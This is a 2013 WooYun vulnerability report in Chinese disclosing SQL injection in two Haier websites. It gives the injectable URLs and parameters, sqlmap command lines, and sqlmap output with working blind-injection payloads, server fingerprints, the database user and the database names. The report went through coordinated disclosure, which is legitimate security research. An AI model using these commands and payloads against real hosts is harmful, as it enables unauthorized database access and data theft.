当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-042696

漏洞标题:海尔集团#两个分站存在SQL注射漏洞

相关厂商:海尔集团

漏洞作者: Mr.leo

提交时间:2013-11-12 17:19

修复时间:2013-12-27 17:19

公开时间:2013-12-27 17:19

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-12: 细节已通知厂商并且等待厂商处理中
2013-11-16: 厂商已经确认,细节仅向厂商公开
2013-11-26: 细节向核心白帽子及相关领域专家公开
2013-12-06: 细节向普通白帽子公开
2013-12-16: 细节向实习白帽子公开
2013-12-27: 细节向公众公开

简要描述:

海尔集团#两个分站存在SQL注射漏洞

详细说明:

1、站点1:
http://zzjyt.haier.net/ZZJYT/login/index.jsp
2、SQL注射点URL,loginid处存在漏洞
http://zzjyt.haier.net/ZZJYT/login/test.jsp
3、sqlmap跑起来
sqlmap.py -u "http://zzjyt.haier.net/ZZJYT/login/test.jsp" --data "loginid=1" --dbs --current-user --current-db
[root@Hacker~]# Sqlmap sqlmap.py -u "http://zzjyt.haier.net/ZZJYT/login/test.jsp
" --data "loginid=1" --dbs --current-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:15:15
[14:15:15] [INFO] resuming back-end DBMS 'oracle'
[14:15:16] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://zzjyt.haier.net/ZZJYT/login/index.jsp'. Do
you want to follow? [Y/n] n
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: loginid
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: loginid=1' AND 8767=DBMS_PIPE.RECEIVE_MESSAGE(CHR(76)||CHR(86)||CHR
(98)||CHR(76),5) AND 'keTY'='keTY
---
[14:15:27] [INFO] the back-end DBMS is Oracle
web server operating system: Windows
web application technology: Apache 2.2.22, JSP
back-end DBMS: Oracle
[14:15:27] [INFO] fetching current user
[14:15:27] [INFO] resumed: EHUB_HRBTB
current user: 'EHUB_HRBTB'
[14:15:27] [INFO] fetching current database
[14:15:27] [INFO] resumed: EHUB_HRBTB
current schema (equivalent to database on Oracle): 'EHUB_HRBTB'

123.png


over
-----------我是分割线--------------------------------------------
1、站点2:
www.haierbid.com
2、sql注入URL:
http://www.haierbid.com/rat/ebid/biding/working/outPriceList.aspx?InviteId=0000064484&product=a
其中的Inviteid存在漏洞
3、sqlmap跑起来
sqlmap.py -u "http://www.haierbid.com/rat/ebid/biding/working/outPriceList.aspx?InviteId=0000064484&product=a" -p "InviteId" --dbs --current-user --current-db
[root@Hacker~]# Sqlmap sqlmap.py -u "http://www.haierbid.com/rat/ebid/biding/wor
king/outPriceList.aspx?InviteId=0000064484&product=a" -p "InviteId" -D DBEPro_Ha
ier2 --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:28:32
[16:28:33] [INFO] resuming back-end DBMS 'microsoft sql server'
[16:28:33] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: InviteId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: InviteId=0000064484' AND 2633=2633 AND 'QOmc'='QOmc&product=a
---
[16:28:42] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 1.1.4322
back-end DBMS: Microsoft SQL Server 2000
[16:28:42] [INFO] fetching tables for database: DBEPro_Haier2
[16:28:42] [INFO] fetching number of tables for database 'DBEPro_Haier2'
available databases [9]:
[*] DBEPro_Haier2
[*] DBEPro_HaierTest2
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
over

漏洞证明:

available databases [1]:
[*] EHUB_HRBTB
---------------------------------------------------------------------
available databases [9]:
[*] DBEPro_Haier2
[*] DBEPro_HaierTest2
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb

修复方案:

过滤。

版权声明:转载请注明来源 Mr.leo@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2013-11-16 23:13

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给山东分中心,由山东分中心后续尝试直接协调网站管理方处置。按多个案例进行评分,rank 13

最新状态:

暂无